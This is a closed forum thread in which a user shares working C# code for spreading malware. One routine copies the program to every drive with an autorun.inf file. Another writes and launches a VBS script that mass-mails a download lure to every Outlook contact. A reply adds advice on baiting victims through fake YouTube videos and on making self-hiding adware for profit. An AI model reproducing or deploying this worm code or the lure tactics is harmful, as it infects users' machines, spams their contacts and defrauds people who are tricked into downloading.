🔒 Closed How to spread malware using c#

Status
Not open for further replies.

Strawberrry

Forum Veteran
I have been making malware for sometime and today i am going to share my method of spreading

1. First we have the USB spreading (i know very basic)

Code:
public static void USB()
       {
           while (true)
           {
               Thread.Sleep(1500); // the reson i added this is so the the virus don't use all the CPU.
               string Program_Path = Process.GetCurrentProcess().MainModule.FileName;
               string[] Drives = { "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z" };
               foreach (string infect in Drives)
               {
                   if (Directory.Exists(infect + @":\\"))
                   {
                       Console.WriteLine(infect);
                       if (File.Exists(infect + @":\\start.exe"))
                       {
                           Console.WriteLine("already infected");
                       }
                       else
                       {
                           try
                           {
                               StreamWriter run = new StreamWriter(infect + ":\\autorun.inf");
                               run.WriteLine("[AUTORUN]");
                               run.WriteLine("icon=default");
                               run.WriteLine("open=start.exe");
                               run.Close();
                               File.Copy(Program_Path, infect + @":\\start.exe");
                           }
                           catch (Exception e)
                           {
                               Console.WriteLine(e);
                           }
                       }
                   }
                   Console.WriteLine(infect);
               }
           }
       }
2. Then we spread by email. using vbs and zippyshare link

Code:
public static void EamilMe()
       {
           StreamWriter ma = new StreamWriter("mail.vbs");
           ma.WriteLine("Dim x");
           ma.WriteLine("on error resume next");
           ma.WriteLine("Set fso = \"Scripting.FileSystem.Object\"");
           ma.WriteLine("Set so = CreateObject(fso)");
           ma.WriteLine("Set ol = CreateObject(\"Outlook.Application\")");
           ma.WriteLine("Set out = WScript.CreateObject(\"Outlook.Application\")");
           ma.WriteLine("Set mapi = out.GetNameSpace(\"MAPI\")");
           ma.WriteLine("Set a = mapi.AddressLists(1)");
           ma.WriteLine("For x=1 To a.AddressEntries.Count");
           ma.WriteLine("Set Mail = ol.CreateObject(0)");
           ma.WriteLine("Mail.to = ol.GetNameSpace(\"MAPI\").AddressLists(1).AddressEntries(x)");
           ma.WriteLine("Mail.Subject = \"I got something for you\"");
           ma.WriteLine("Mail.HTMLBody = \"<p>hello mate</p><br/><br/><p>i found this program it lets you find people online. i thought you would like to use it</p><br/><p><a herf=\"[Your link here]">Download it here</a></p>\"");
           ma.WriteLine("Mail.Send");
           ma.WriteLine("Next");
           ma.WriteLine("ol.Quit");
           ma.Close();
           Process.Start("mail.vbs");
           Thread.Sleep(10000);
           File.Delete("mail.vbs");
       }

now thats my methods but i would like to put a network exploit in my malware pero wala pa ako sa level nyan hahahaha

I hope this helped some people.
 
ahh ganun pala paps!
Pero di ito malware this is a code to spread malware, if you make a rat then you could add this code to spread your rat.
Cool things to do are to make a fack youtube video and put your rat/malware link below. try and make a video to make them
download the file. I make money from adware. i use ad.fy and that pays $0.000200 per view so make sure your adware is able to hide
is self.
Happy h(a)cking! :)
 
Status
Not open for further replies.

About this Thread

  • 6
    Replies
  • 1K
    Views
  • 4
    Participants
Last reply from:
logicbase

Online now

Members online
416
Guests online
1,721
Total visitors
2,137

Forum statistics

Threads
2,275,510
Posts
28,963,757
Members
1,232,824
Latest member
almurk
Back
Top